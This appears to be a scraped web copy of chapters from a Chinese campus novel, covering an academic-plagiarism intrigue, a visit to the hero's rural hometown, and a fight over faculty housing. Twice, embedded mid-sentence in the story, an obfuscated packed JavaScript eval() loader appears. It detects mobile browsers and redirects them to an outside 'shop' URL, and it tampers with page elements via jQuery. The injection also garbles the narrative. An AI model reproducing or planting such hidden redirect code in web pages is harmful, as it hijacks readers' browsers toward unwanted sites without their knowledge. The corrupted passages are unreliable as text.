秦冰纶对孔益林的解释已经没有兴趣了,她故作漫不经心地提出了一个要求——看看顾明远投稿的原件。沈菊英担心孔益林怀疑,连忙补了一句:“顾老师临行前托我们取回原稿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真是有些宝气吧。就为这张破纸?值得这么高兴吗?”方卉望着两位客人高兴得手舞足蹈的模样心里不屑地嘀咕起来。 回到酒店,秦冰纶和沈菊英开始认真研究起这封手写的投稿信。看到满纸娟秀的笔迹,秦冰纶心里有点失望。她对孙启亮龙飞凤舞的字迹再熟悉不过了。从这封稿件的笔迹来看,显然不是他写的。秦冰纶有些失望,起身走进了卫生间。 正在清洗脸上的粉脂,沈菊英的惊叫声从外间传来。浴室的水声戛然而止。秦冰纶裹着浴袍冲出时,正看见沈菊英像鉴宝专家般将信纸举在台灯前,鼻尖几乎贴上纸面。 “这是周青的笔迹呀。”沈菊英的手拍在桌面,震得茶杯叮当乱响。 “你怎么知道是她的?” “她每学期来院办领课酬的时候都得签字啊。有一次我还夸她字写得好,她就得意扬扬地说自己从小就练过什么魏碑字帖呢。” 秦冰纶倒吸一口凉气。联想到周青和孙启亮的暧昧,她觉得逻辑关联性完全契合。 秦冰纶坐在床边想了一会儿问道:“你说会不会是孙启亮在背后指使的呢?” “很有可能呀。孙启亮这家伙和小周关系本来就很古怪,加上他对顾明远一直不满,我看八成就是他捣的鬼。” 秦冰纶耸动着肩膀冷笑起来,丝绸睡袍带子从肩头滑落也浑然不觉。她像是刚刚破获了一桩陈年积案的警官一样,水落石出后一场兴奋,催着沈菊英赶紧订明早返汉的第一趟火车。 第二天上午十点钟的光景,秦冰纶就赶回到自己的办公室。她有意让沈菊英先去孙启亮透露了些信息。果不其然,半小时后,孙启亮领着周青走进了秦冰纶的办公室。 周青的眼皮肿得像两颗熟透的桃子,低着头手指绞着衣角瑟瑟地站着。 秦冰纶故意把钢笔在指间转了个圈,眼睛在两人中间来回扫掠:“你们俩一起来我这里,是有什么要紧事吗?” 孙启亮推了推眼镜,金属镜框在他鼻梁上勒出两道红痕,他似乎急于替自己辩解:“秦院长,本来这事我是不想管的。刚才周老师向我检讨时,我发现和科研有些关系,所以就带着她上你这来了。”说罢,伸手将周青往前推了推。 周青话未出口,泪水“吧嗒”“吧嗒”从眼眶里滑落下来。在秦冰纶的一再追问下,她小心翼翼按照孙启亮的交代,供出了事后的主谋是林书锦。原来,两个月前,林书锦用一套高档化妆品做诱饵,央求周青帮她写一篇中国古代史的论文,说是朋友评职称等着急用。周青对这个牌子的化妆品一直心驰神往,心想反正不是自己署名,便东拼西凑剪切复制,两小时交稿了事。直到刚才,孙启亮告诉她真相后,周青一下子慌了神,只好来向秦冰纶老师交代。 孙启亮突然提高音量:“在我看来,周老师其实也是受害者。” 听说林书锦竟然牵扯其中,秦冰纶脑袋“嗡”了一声。现在,孙启亮摆明想为周青开拓,秦冰纶担心林书锦引出更大的麻烦,便冷笑着说道:“都到这个时候了,孙院长就不必说这种话了吧。”说罢,拉开抽屉,将投稿信"啪"地拍在桌上:“这上面可全都是周青的笔迹啊。” 孙启亮突然像被踩了尾巴的猫,红着脸摘下眼镜擦拭。秦冰纶借机敲打:“孙院长是学院的科研负责人,您应该清楚,这是典型的学术不端吧。如果院里没有一个明确的态度,搞不好对您也有影响呢。” 孙启亮知道秦冰纶指的是明年自己申报正高职称的事情,一下子吓得不敢说话。意识到危险的周青嘴唇哆嗦了一下,声音忽然尖利起来:“如果学院非要处理我,那我只能向上面反应了。” 看见周青有些神经质的表情,秦冰纶的心震了一下:是啊,周青性格本来就很偏执,又和那个举报大王石凤芝住在一个门栋。如果真的把她逼急了,搞不好会弄出更大的动静来。想到这里,秦冰纶轻轻挥了挥手说道:“周老师先回去吧。这事我们再研究研究。不过,我可提醒你,在结果没有出来前,你最好少说话,不然吃亏的是你自己。” 周青眼泪汪汪地望向孙启亮,孙启亮皱了皱眉:“秦院长这是在关心你呢,就按秦院长说的办吧。” 周青走后,秦冰纶把孙启亮单独留了下来,借着职称再次敲打一回后,严厉叮嘱孙启亮务必组织周青谨言慎行。 当天晚上,秦冰纶在酒店里召见了林书锦。投稿信缓缓展开的刹那,林书锦手中的象牙筷“当啷”跌落在骨瓷碟上。很快,镇定下来的他将责任全推给了已经离开楚江大学的江小北身上,说所有的主意都是江小北那边来的,自己只不过是当了个传声筒而已。说罢,将早已准备好的化妆品递到了院长面前。 “尽给我惹麻烦”,秦冰纶故意将化妆品推回。这下林书锦有些紧张起来:“秦院,这事可不能让我负责的。我是被江小北利用,她这样做还不是为了让肖志阳万无一失吗。” 秦冰纶没想到一个稿子的萝卜竟然牵出许多泥巴。想想这事不能让林书锦独自背责,却又必须要对学校有个交代,第二天刚一上班,秦冰纶踩着高跟鞋来到了财经学院院长卓娅的办公室。卓娅是一个眼里融不进沙子的人,一个电话将肖志阳叫上楼来。在两个女院长的轮番进攻下,毫无防备的肖志阳嗫嚅着说出了“梅大镛”的名字。 当得知梅大镛是从策划到推动的真正幕后主谋时,卓娅骂了一句“这个老梅现在越来越不像话”后,主动提出和秦冰纶一起去见校长周濂。 听罢两人的汇报,周濂大喜,马不停蹄来到了许继武的办公室。在确凿的证据面前,许继武不得不答应周濂的要求,免去梅大镛教学督导委员会主任一职,同时也要求对其他责任人进行相应的处理。 夜幕低垂,楚江大学校园里的路灯次第亮起。秦冰纶独自站在办公室窗前,想起这两天上演的惊心动魄的“狗血剧”,心中涌起复杂的情绪。这场风波看起来即将落幕,但她知道,象牙塔里的明枪暗箭永远不会停止。 33. 故乡情深 周濂亲自将调查结果以及入选拔尖人才的消息告诉了已经出院的顾明远。水落石出,恢复清白,这本该让人高兴的事情,顾明远却一点也快乐不起来,反而有了一种前所未有的疲惫和悲哀。 站在窗前,顾明远望着窗外飘落的梧桐叶,沈菊英送过来的澄清文件像一片无足轻重的羽毛。阳光透过玻璃洒在他的脸上,却照不进他眼底的阴翳。他似乎突然明白,象牙塔里的各种学术追求不过是培养了一批又一批的“精致的功利主义者”。各种坚守和努力除了授人以柄、被人攻讦,简直是毫无用处、一无是处。他甚至想到了在南方仍在招手的老板同学,心中也涌起过辞职的冲动。然而,这样惊世骇俗的举动必然招致吴若甫、吴雅娟的反对。况且,离开象牙塔,自己就一定能够避开各种纷争和困扰么? 顾明远的脑海中忽然浮现出故乡青石板路上湿漉漉的晨雾、浮现出童年时在稻田间追逐的流萤、浮现出姐姐们巧手捏出的玫瑰样的包面、浮现出父亲真实而又温暖的苛责……。 他想家了。想念那个穷困中溢满温情的港湾。 在吴若甫的亲自推动下,结婚四年的吴雅娟终于勉强点头,答应陪顾明远回家乡走走。虽然顾明远心里清楚她不过是碍于父亲的面子,此刻却不在乎这些。他只想回到那片土地上,去寻一寻当年那些简单、纯粹的快乐记忆。 得到消息的顾有余早早候在村口,背虽佝偻却刻意挺得笔直,像是要争回这些年儿媳从未回来憋着的一口气。自从知道儿子儿媳真要回来,他连着几天没闲着,背着手在村里到处转悠,逢人便“不经意”地重复着“明远要带他校长千金媳妇回来了”“明远现在是副教授和县团级干部待遇一样”这样的话。他还狠狠心将儿子托人捎回的两瓶“黄鹤楼”转赠给村主任顾正旺,目的是想让村里帮忙扩大扩大影响。顾正旺本就是自己家族侄,听说顾明远有一个校长岳父,觉得将来可以指望,便欣然拿出村集体的公款请来戏班子捧场。顾有余脸上的皱纹立刻笑成了一朵深秋的菊花,觉得这戏一唱,他在村里就真的扬眉吐气了——儿子到底为他争来了天大的面子。 刚一下车,顾明远便被故乡深秋的气息紧紧包裹。金色的稻茬还留在地里,空气中弥漫着稻草干燥的清香和泥土微凉的芬芳。远处,乌桕树的叶子红得像一团团燃烧的火焰,衬着秋日湛蓝的天空。 童年记忆如潮水般涌来。他像个突然被赦免的孩子,快走几步,竟一头扎进路旁那片收割后松软的稻草堆里,就势打了个滚。枯干的草屑沾了满身,他却毫不在意,又翻身坐起,拾起一根枯树枝,冲向田埂边那条变得纤细许多的小河沟,用力搅动清浅的河水。河水冰凉澈底,搅起水下沉积的黄叶和细沙,也搅碎了水中那片明净的秋阳,泛起层层叠叠金色的涟漪。没有算计,没有防备,只有一种挣脱了所有束缚的、纯粹的快乐。他畅快地大笑,回头想在吴雅娟那里找些共鸣,不料吴雅娟却皱着眉站在有些泥泞的机耕路旁,对空气中若有若无的焚烧稻草和牛粪混合的气味,露出毫不掩饰的嫌弃:“这破地方有什么好的?” 顾明远没有辩解,只是嘴角噙着一抹温和的笑意。他轻轻握住吴雅娟的手,引着她走向河边那棵历经风霜的大乌桕树。秋日的阳光透过红艳的枝叶,在两人身上洒下斑驳的光影。他指着眼前那片被河水冲刷得平坦光滑的沙滩,声音里带着一种沉浸往事的温柔:"你看那里,小时候每到枯水季,我就和姐姐们来这里,用石头泥沙垒起小塘堰。"他边说边比划着,眼神发亮:"然后我们去割最嫩的青草,撒在下游浅滩。鱼儿傻乎乎地来吃草,我们就趁机......",他猛地做出一个扑捞的动作,自己先忍不住笑出声来。 那笑声里盛满了鲜活的回忆,仿佛那些泛黄的岁月从未远去,依然在秋日的河滩上闪闪发光。吴雅娟望着他难得神采飞扬的侧脸,又看向波光粼粼的河面,不知是被他的生动描述感染,还是被眼前宁静的秋色打动,竟也情不自禁地跟着轻轻笑出了声。 正在这时,闻讯的顾小满带着一群人从岗地上飞奔而来。一群人簇拥着两人涉过河滩、越过田埂,在经过如今已经荒废的稻场时,顾明远停下了脚步,深深吸了一口气。乡间的风裹着泥土与青草的气息,干净得像是被雨水洗过一般,与城市里永远混杂着尾气和钢筋水泥味的空气截然不同。他抬头看向天空——那种蓝,澄澈得近乎透明,没有高楼切割,没有雾霾遮蔽,只有几缕云丝懒懒地飘着,像小时候姐姐们纺出的棉线。 就在这时,稻场对面的老屋前忽然鞭炮声震天响起,烟花在湛蓝的天空炸开五彩斑斓的花朵。吴雅娟吓得捂住耳朵,而顾明远却仰头望着,眼底映着烟火的光,像是回到了那些无忧无虑的年岁。 “新媳妇”吴雅娟的打扮让乡下人眼前一亮。乡下人对季节变化没啥感觉。和已经冬衣上身的村民相比,吴雅娟那身绯色雪纺连衣裙显得格外亮眼。那些婶子、小媳妇们羡慕得眼睛都亮得放光,嘴里叽叽喳喳地指点个不停。吴雅娟对乡音一窍不通,但她从众人的神情中依然能捕捉到那份由衷的羡慕与敬仰,这让她瞬间觉得自己仿佛被众人捧上了云端。虚荣心一旦被充分满足,脸上的嫌弃也就淡了几分。 自家媳妇被乡亲们追捧,顾明远心里自然也是十二分的满足,赶紧从包里掏出一大包五颜六色的糖果,天女散花般地撒向了众人。一向抠门的顾有余觉得脸上有光,兴冲冲地跑回堂屋拿出一条烟来交给村长顾正旺,让他招待大家抽烟。 顾家院子欢声笑语,热闹得像是过年一般。 天色也渐渐暗了下来。人群刚一散去,吴雅娟突然冲进里屋。顾明远恍然大悟,赶紧让二姐顾小满把吴雅娟往门外带。 吴雅娟吓了一跳:“洗手间在外面吗?” 顾小满笑了起来:“我们这儿只有公用的茅厕。” 吴雅娟心凉了半截,但肚子不争气,只好跟着顾小满深一脚浅一脚地走到屋后的岗地上。顾小满指着菜地中间的稻草房子说:“雅娟,就这儿,你进去吧,我在外面帮你看着。” 吴雅娟甫一踏入,便尖叫一声,掩鼻疾退,连声道:“这怎么行呀,到处苍蝇乱飞的。” 顾小满强忍笑意劝慰道:“乡下都是这样,雅娟你就将就一下呗。” 吴雅娟死活不肯再进去半步。顾小满看她憋得眼泛泪花,只好连劝带拉,总算把她带进坡下的红薯地里解决了问题。 回来后,吴雅娟委屈得直掉眼泪,嚷着明天就走。顾明远怕她的小姐脾气让大家难堪,赶紧把她拉进房里,又是捶肩又是捏脚,还赔了半天小心,吴雅娟的气才慢慢顺了些。顾明远心里暗笑起来:她哪里能够体会这种更有温度的乡野的粗糙呢。 黑夜像一块巨大的幕布,把湾子围得严严实实。 顾家堂屋的八仙桌上,顾春分、顾小满姐妹精心准备的“浠水包面”以其传统的制作工艺和深厚的文化底蕴,开始隆重登场。吴雅娟对这些外形像一朵朵盛开的玫瑰花的包面很是新奇。为了给弟媳留下好印象,顾春分姐妹二人中午开始就用陈年瓦罐煨制了土鸡“汤头”。在武汉晚饭只吃水果的吴雅娟受不了诱惑,彻底放下了矜持,不一会儿工夫,两碗热气腾腾的海带排骨汤和老鸡汤汤头配的包面便滑入了她的胃肠。 一直对这个城里人架子十足的儿媳不满的顾有余,脸上露出了满意的笑容。 顾明远忽然想起一件事来,有些遗憾地说道:“可惜现在季节不到。要是春天,一定能够吃到软欠粑的。” 大姐顾春分心细,起身到厨房里拿出一萝筛香喷喷的炒芝麻:“明天给你做芝麻糖滚糍粑吃。” 这是儿时只有过年才有的口福,这让顾明远的口水几乎要流了出来。二姐夫家胜不甘落后,将在自家里做好的藕粉圆子拿了出来。顾明远恨不得生的就吃下几个。 吴雅娟不认识这一只只胖乎乎的晶莹玩意,有些疑惑地问道:“这怎么吃呀?” 顾明远笑道:“明天你就知道了。这可是我们老家的独门小吃,黄金都换不来的宝贝。” 经过顾小满一旁添枝加叶的渲染,吴雅娟心中的馋虫也被撩发了起来。 夜深了,顾明远独自站在院子里。仰头望去,漫天星子仿佛碎银般缀满深邃的天幕。城市的夜空早已被霓虹稀释得模糊不清,而故乡的星辰却依旧清澈、低垂,仿佛一伸手就能捞进掌心。没有论文压力的追赶,没有职称评定的厮杀,更没有那些需要字斟句酌的社交和暗箭难防的算计。耳边只有风吹过收割后田野的沙沙轻响,和秋虫在墙角石缝间不知疲倦的吟唱。 在这片纯粹的宁静里,他忽然觉得自己这些年在象牙塔里奋力搏杀、苦苦追逐的所谓“成功”,剥开层层光环,内里竟大多是做给别人看的场面——不过是一张精致而又疲惫的面具。他争来了面子,却几乎弄丢了自己。直到此刻,故乡的土地托着他,夜风清凉地拂过他,他才惊觉:真正的踏实与安宁,从未远离,它一直静静地藏在这片生养他的土地里,藏在身边人最简单、最温暖的烟火气中。 第二天一大早,吃完热乎乎、香喷喷的芝麻糖糍粑和藕粉圆子,顾明远迫不及待地要去斗方山中学拜访恩师叶少雄。 顾明远将叶少雄视为自己学问路上最初的引路人。初中时,他因作文写得好,字也工整,深得叶老师偏爱。那时,叶老师常留他在家中帮忙刻蜡纸印试卷。刻完试卷后,师母刘春枝总会端出几样家常小菜留他吃完饭,青椒炒腊肉、清炒苋菜、香椿炒鸡蛋……,至今都让顾明远口齿回香。那时的顾明远多么盼望能够明天去叶老师家里帮忙刻写蜡纸啊。 被公公一家人淳朴的热情和地道的美味悄然滋润,吴雅娟仿佛变了一个人。顾家院子里的欢声笑语、田间地头的自然气息,竟将她产后以来积郁心头的阴霾驱散了不少,眉目间似乎舒展了不少。当顾明远小心翼翼提出去一起拜访恩师时,吴雅娟几乎未假思索,便爽快地答应了。 两人骑上借来的自行车,沿着乡间小路向斗方山方向骑行。车铃叮当,惊起路边的麻雀,车轮碾过碎石,扬起细小的尘土,在阳光下闪着金色的光晕。 还未到叶家小院,两只黄狗便欢快地窜出来,绕着他们打转。叶少雄闻声推开柴门,一见是多年未见的学生顾明远,脸上的皱纹顿时像是一朵风干的菊花突然吸饱了水分。他连忙唤出正在厨房忙碌的刘春枝,两口子一左一右拉着顾明远、吴雅娟的手,目光中满是惊喜和慈祥。 岁月在叶少雄身上留下了明显的痕迹。鬓角像是落了层薄雪,往日挺直的脊背变得有些微驮,不过那双眼睛依然清亮,看人时还是带着教书先生特有的专注。 刘春枝动作麻利,转眼间就在院里的石桌上摆满了自家做的零嘴:炒得喷香的花生、甜脆的红薯片、金黄的米花糖,还有晒得软糯的柿饼。 众人刚刚围着石桌坐定,堂屋里突然飞出一个扎着马尾辫的少女。她眨着灵动的眼睛打量来客,二话不说就从盘子里抓了两个柿饼,嘴里嘟囔着:“老妈你藏得真严实呀,我找了好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904234|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天呢。” “这是叶笛吧?”顾明远脱口而出:“都长这么大了?” 少女一点也不认生,圆溜溜的眼睛直勾勾地将他打量一番。叶少雄赶忙笑着介绍:“这是你明远叔叔,以前经常来家里帮爸爸印卷子。你不记得啦?顾叔叔三十出头都是副教授啦。” 叶笛俏皮地眨眨眼:“哦?这叫青出于蓝胜于蓝吧?年轻的教授叔叔好。”说完抓了把花生,哼着王菲的《千言万语》,像阵风似的又跑回了屋里。 顾明远莫名地脸红到了耳根,他不知道这是因为叶老师夸大的介绍,还是眼前这位如春笋般茁壮成长的小女孩儿。 望着女儿的背影,叶少雄眼里盛满宠溺,嘴上却故意嗔怪:“都要中考了,还这么没规矩。” 顾明远抬头看时,正撞上叶笛躲在二楼窗前,偷偷掀起窗帘一角往下瞧。四目相对的瞬间,窗帘"唰"地落下,隐约传来一阵轻巧的笑声。 日近正午,顾明远和叶少雄依依惜别。推着自行车下山时,吴雅娟撇撇嘴:“这个丫头有点没大没小的,叶老师也不管管。” 顾明远恍若未闻,满脑子里回荡的是当年叶老师的镜头:批改作业时总戴着老花镜,镜片后的目光却格外锐利;讲古文时喜欢摇头晃脑,声音抑扬顿挫;发现学生开小差,就用粉笔头精准地砸在课桌上......。所有这些画面比任何职称评审、学术会议都来得真实温暖。 行至山脚,斗方禅寺的钟声悠然传来,天籁般的梵音随风在山谷间回荡。顾明远突然想起大学毕业时曾陪着父亲拜访过寺里的静远方丈,一时兴起,拉着吴雅娟想去重访故人,门房告知方丈上月已云游山西五台山去了。 归途上,山溪叮咚,鸟鸣啁啾。顾明远推着车慢慢走着,心中似有所悟:在这片土地上,岁月流逝却带不走最本真的东西。叶老师眼里的期许,师母锅铲下的烟火气,叶笛不加掩饰的活泼,甚至禅寺悠远的钟声,都比城市里那些虚与委蛇的应酬、尔虞我诈的算计珍贵千万倍。 凉爽的秋风掠过山岗上收割后的田野,卷起稻茬的清香和泥土微凉的气息。顾明远深吸一口气,肺腑间弥漫着稻草干燥的芬芳与新翻土地的醇厚味道。远处,几株晚熟的乌桕红叶在秋阳下中沙沙作响。这一刻,顾明远感觉自己终于卸下了所有伪装,重新变回了那个曾在作文本上恣意挥洒梦想的少年。 吴雅娟的肠胃终究是被这三天实实在在的乡村生活给“教训”了。第三天清晨,她一起床便觉得浑身虚软,肠胃隐隐绞痛,额头沁出细密的冷汗,脸色苍白地倚靠在老屋斑驳的门框上,连站直的力气都快要消失。显然是连日来的“特色”饮食和乡下夜里的寒气以及那难以适应的用厕环境,一齐向她娇气的身体发起了总攻。 顾家老小立刻手忙脚乱忙了起来,大姐顾春分端来滚烫的姜茶,二姐翻箱倒柜地找来了止泻药,顾有余一个劲地吆喝着要去找隔壁村的汤郎中。虽被这质朴的温情紧紧包裹,她却连勉强一笑的力气都没有了。身体的剧烈抗议,比任何语言都更清晰地提醒着她:这片土地虽好,却终究不是她能扎根的地方。 她向顾明远提出返回武汉。想想女儿还在外公外婆家,恋恋不舍的顾明远只好点头答应。 全家一齐出动,搀扶着吴雅娟来到了镇上的车站。 趁着候车的工夫,顾有余忽然将儿子拉到一边的枣树下,莫名地吟起苏轼《定风波》的句子:莫听穿林打叶声...也无风雨也无晴。 顾明远正纳闷父亲为何突然酸溜溜起来,二姐顾小满悄悄捅了捅他的胳膊:“雅娟昨天把你被人诬陷的事跟爸说了。” 心情大好的顾明远笑了起来:“嗨,我哪配跟苏东坡比呀。”他不想听乡村教师的矫情。临行前,他还有一件心事未了。将二姐顾小满拉到一旁,重新提起了想请她去武汉帮忙照顾女儿顾安然的事情。 顾小满眼里闪着向往的光,表情上却有些犹豫:“明儿,你再容我些日子,你姐夫的妈还得做做工作呢。” 正在说着,长途汽车尾部喷着黑烟驶来。站台瞬间沸腾。挑着扁担的老汉、抱着婴孩的妇人、背着蛇皮袋的打工仔,全都一窝蜂涌向车门。顾小满眼疾手快,拽着行李就往里冲。多亏售票员偷偷给他们留了座位,顾明远护着吴雅娟挤进车厢,总算在位子上坐了下来。 “等等!等等!”汽车即将启动时,顾有余突然拍打车窗。他踮着脚从窗口往吴雅娟的手中塞进个红包:“你是第一次来家。差点忘了这个。” 顾明远没想到抠门的父亲这次如此大方,冲着二姐挤眉弄眼了一番,笑着让不知所措的吴雅娟笑纳下来。 汽车缓缓驶过深秋的乡野。收割后的稻田袒露着广袤的褐黄色土地,整齐的稻茬间偶有麻雀跳跃觅食。远处岗坡上,已有农人赶着牛翻开土地,为来年春耕作准备,那深一道浅一道的犁痕,宛如大地上刻写的年轮。 顾明远额头轻抵着微凉的车窗,目光贪婪地捕捉着窗外每一帧掠过的故土景象。秋日柔和的阳光透过玻璃,在他眼皮上投下暖融融的淡金色光晕。车厢里混杂着各种声响:婴孩的啼哭、老汉低沉的咳嗽、几个外出务工青年用方言高声谈笑着下一站的打算——这些声音粗糙而真实交织在一起,却奇异地抚平了他心中的褶皱。在这里,喜悦与不舍都明明白白写在他的脸上。想想即将重回到那个充满纷争的象牙塔里,一股浓烈的眷恋与怅惘在他胸腔里翻涌。他闭上眼,将这混合着泥土、稻草与离愁的秋日气息深深烙印在记忆里。 34. 蜗居之求 回来的那个晚上,清点完从老家带回的各种特产后,顾明远拿出一袋糍粑和红薯,准备送给楼下的钟德君。因为钟德君最近和堂妹吴雅洁闹腾得厉害,吴雅娟老大不高兴不情愿给钟德君。顾明远不顾吴雅娟的反对,执意拎着东西来到楼下。 推开钟德君那扇吱呀作响的房门时,一股浓烈的酒气混着泡面味扑面而来。钟德君一个人瘫坐在地上,面前散落着半瓶白酒和几个吃剩的牛肉干包装袋。屋里只亮着一盏昏暗的台灯,将他的影子模糊地投在斑驳的墙面上,显得格外落寞和冷清。 “怎么?老婆又回娘家了?”顾明远蹲下身,从桌底拽出那个老旧的电炉盘。 “爱回不回!”钟德君仰头灌了口酒,辛辣的液体顺着他的嘴角流下,他也懒得去擦。 电阻丝渐渐泛红,顾明远将糍粑仔细地串在筷子上。焦香在狭小的房间里弥漫开来,暂时盖过了那令人不适的酒气。 “肯定是你小子又在外面拈花惹草,把雅洁给气跑了吧?”顾明远递过烤得金黄的糍粑,语气里带着几分调侃,眼神里却透着关切。 钟德君咬了一大口焦香的糍粑,烫得满嘴呵气,含糊不清地嚷道:“他妈的都四年了,肚子一点动静都没有,跑就跑了呗。”话虽如此,他眼底一闪而过的落寞却没逃过顾明远的眼睛。 顾明远突然起身夺回剩下的糍粑,作势要往垃圾桶里扔:“我可告诉你,戏演多了,小心砸了饭碗。”他顿了顿,声音低沉下来:“德君,雅洁除了嘴巴厉害些,这四年对你怎么样,你心里没数吗?就因为孩子的事,你们就这样隔三差五地闹腾?” 昏黄的灯光下,顾明远的眉头紧锁,语气愈发恳切:“外面的花花草草再好,能给你一个家吗?能在你喝得烂醉时给你煮醒酒汤吗?德君,听我一句劝,好好把雅洁接回来,两个人正经过日子比什么都强。” 这番话像一盆冷水,浇得钟德君酒意醒了大半。他望着眼前这个相识多年的老友,心里泛起一阵暖意和愧疚。他何尝不知道顾明远这是真心为自己好?他低下头,手指摩挲着酒瓶,良久才叹了口气:“好吧,你是墨索里尼,总是有理”,作为回报,他给顾明远透露了教工宿舍楼即将动工的消息。 顾明远三步并作两步赶回家中,迫不及待地要将这个好消息分享给吴雅娟。他推开门的动作都带着几分轻快,连那吱呀作响的门轴声此刻在他耳中都变得悦耳起来。 吴雅娟正在轻轻拍着摇床里的安安哄她睡觉。顾明远的兴奋表达似乎并没有引起她的激动。她缓缓抬起头,目光在逼仄的房间里扫视了一圈,声音平静得近乎冰冷:"有什么好激动的?不过是准备打工而已。这破屋子,咱们至少还得熬上两年。" 她的话像一盆冰水浇在顾明远心头,方才还熠熠生辉的眼神瞬间黯淡下去。房间里一时只剩下女儿安安均匀的呼吸声和窗外隐约传来的风声,衬得这狭小的空间越发寂静得让人窒息。 两个礼拜后的一个傍晚,二姐顾小满忽然从乡下打来电话,说是已经做通了婆婆的工作,自己可以来武汉帮忙照看侄女安安。 顾明远高兴得手中的菜刀“当啷”一声掉在砧板上,清脆的声响惊动了正在哄孩子的吴雅娟。 当听说顾小满能够来武汉,吴雅娟脸上浮起了喜色。最近,方姨家里出了点事急着赶回老家,母亲万素琴血压很不稳定,谁来照看女儿安安便是摆在这对夫妻面前的头等问题。现在,顾小满总算可以成行,这无异于给两人卸掉了心头之患。只高兴了片刻,吴雅娟忽然叹了口气:“来了住哪儿呀?” 顾明远环顾这个由库房改成的蜗居,拢共也不过十六平方米,逼仄的空间里堆满了各种物什,折叠餐桌支开后连转身都觉得困难。眼前的景象,让顾明远有些头皮发麻。 吴雅娟咬着嘴唇说道:“要不...让你二姐暂住我爸妈那儿?” “妈现在血压高得都有些神经衰弱,这怎么行呢。要不将就挤一下?德君说宿舍楼建设进度挺快的。” “净听他瞎忽悠,再怎么快也得一年半载的。这么小的地方住四个人,怎么挤?”吴雅娟的眉头皱得更紧了,顿了片刻看着顾明远说道:“雅洁在总务,对学校房产的信息掌握得多,要不我们问问她去?” 事不宜迟,两人也顾不上正在熟睡的女儿,一路小跑赶到了顾明远的教研室,抄起电话给吴雅洁打了过去。这一打不要紧,吴雅洁那边还真传来了一个好消息:“我正准备明天上班告诉你呢。外语系一对夫妻马上出国,学校要求他们将现在的一室一厅腾退出来。” 吴雅娟原本黯淡的眼神却骤然亮了起来,仿佛在茫茫黑夜中突然看到了一线曙光。顾明远得知这个消息后,一时也有些恍惚,仿佛沙漠中的旅人突然看到了一片绿洲。逼仄的房间里,先前沉重的氛围在这一刻被悄然打破。 高兴过后,顾明远忽然问道:“现在粥少僧多,我们能拿得到吗?” “我就不喜欢你关键时不自信的样子。你是破格副教授啊,怎么就不能?” “这和自信不自信没关系。去年破格了五位,这你是知道的,凭什么只给我们?” 顾明远这样一说,吴雅娟刚才的兴奋劲顿时萎靡了下去,眸中的光彩也黯淡了几分。低头思忖片刻,忽然又像是抓住了什么救命稻草般,目光再次如火炬般明亮起来:“对了,干脆让我爸出面。只要他打个招呼,这事肯定能成!” “别找你爸。”顾明远遽然打断她,语气又快又急,仿佛被什么东西刺痛了一般。他的眉头紧紧蹙起,脸上浮现出一种复杂的神情,那是一种混合着自尊、敏感和抗拒的复杂情绪:“破格提拔副教授的事,那些人背地里说得有多难听,你又不是不知道。”顾明远的声音不自觉地提高了些:“说什么我顾明远一切都是靠着老丈人的面子。这次若是再让你爸出面,岂不是坐实了这些闲话?” 他转过身去,目光落在窗外,声音却带着一种固执的坚持:“我宁愿继续住在这个库房里,也不想再被人指着脊梁骨说我是靠着岳父才有的今天。雅娟,你能明白吗?”他的话又急又重,仿佛要将积压在心头许久的郁结一吐为快。房间里一时静默无声,只有他略显急促的呼吸声在空气中回荡。 “哎呀,你管这么多干嘛。是自尊心只要还是房子重要呀?都这个时候了,你还装什么清高。有这么好的老爸不用,傻呀?”吴雅娟激动起来,说话如同机关枪似喷出火花。 顾明远敏感的神经被吴雅娟的话刺激得刺啦作响,他重重地将钥匙串砸在鞋柜上,声音像是炸开的炮竹:“都四年了,破格副教授他们说我是吴家女婿,做教研室主任他们说有老丈人打招呼。你还嫌我被人编排得不够吗?告诉你,我顾明远不愿意靠着别人谋取什么功名利禄,你懂不懂?” 吴雅娟没料到顾明远会发出如此大的无名之火,一时被他的气势慑住了,嘴唇微微颤抖着说不出一句话来。 正在这时,“咚咚咚”的敲门声打破了室内的沉默。 钟德君他手里提着的一箱“娃哈哈”走了进来。吴雅娟抱起安安回头就走,甩下一句:“你可别指望我去劝雅洁,你们的事我管不了!” 顾明远尴尬地搓着手,给钟德君使着眼色。钟德君却笑嘻嘻地说道:“雅娟你想多啦。我过来是给你们送好消息的。” 吴雅娟停下脚步回头狐疑地看着钟德君:“好消息,什么好消息?” 钟德君得意地将刚才陪孟超喝酒时得到的消息告诉了夫妇二人。 顾明远苦笑出声来:“这算什么好消息,你夫人刚才已经告诉我们啦。” “那你们打算怎么办呢?” 顾明远看了吴雅娟一眼,赌气地说道:“她不是有个好爸爸的嘛。” 钟德君知道顾明远自尊心极强,素来对吴若甫的帮衬很是反感,便拍了拍自己日益涨大的啤酒肚说道:“这事不需要动用老爷子的。可以找其他人呀。” 顾明远知道他的脑瓜活络,赶紧将他按在小凳子上催问。吴雅娟态度重新将安安放进摇椅,主动给钟德君倒了一杯白开水。 “你们知道吗,老梅梅大镛也在打这套房子的主意呢。”钟德君的话让夫妻二人一下子又沉到了水里。 “不对呀,我记得梅教授不是有房吗?”顾明远声音陡然提高。 钟德君冷笑:“人家儿子马上结婚。他是想为儿子弄一套房子的。他和许书记什么关系,你们应该是清楚的吧?” 吴雅娟有些着急:“那怎么办呀?” 顾明远说出了总务处长朱政华的名字。钟德君嗤笑了一声:“他是个老滑头,找他屁用。要找就得找能够拍板的人呀。” “谁能拍板?” 吴雅娟脱口而出:“孟超分管总务,应该可以。” 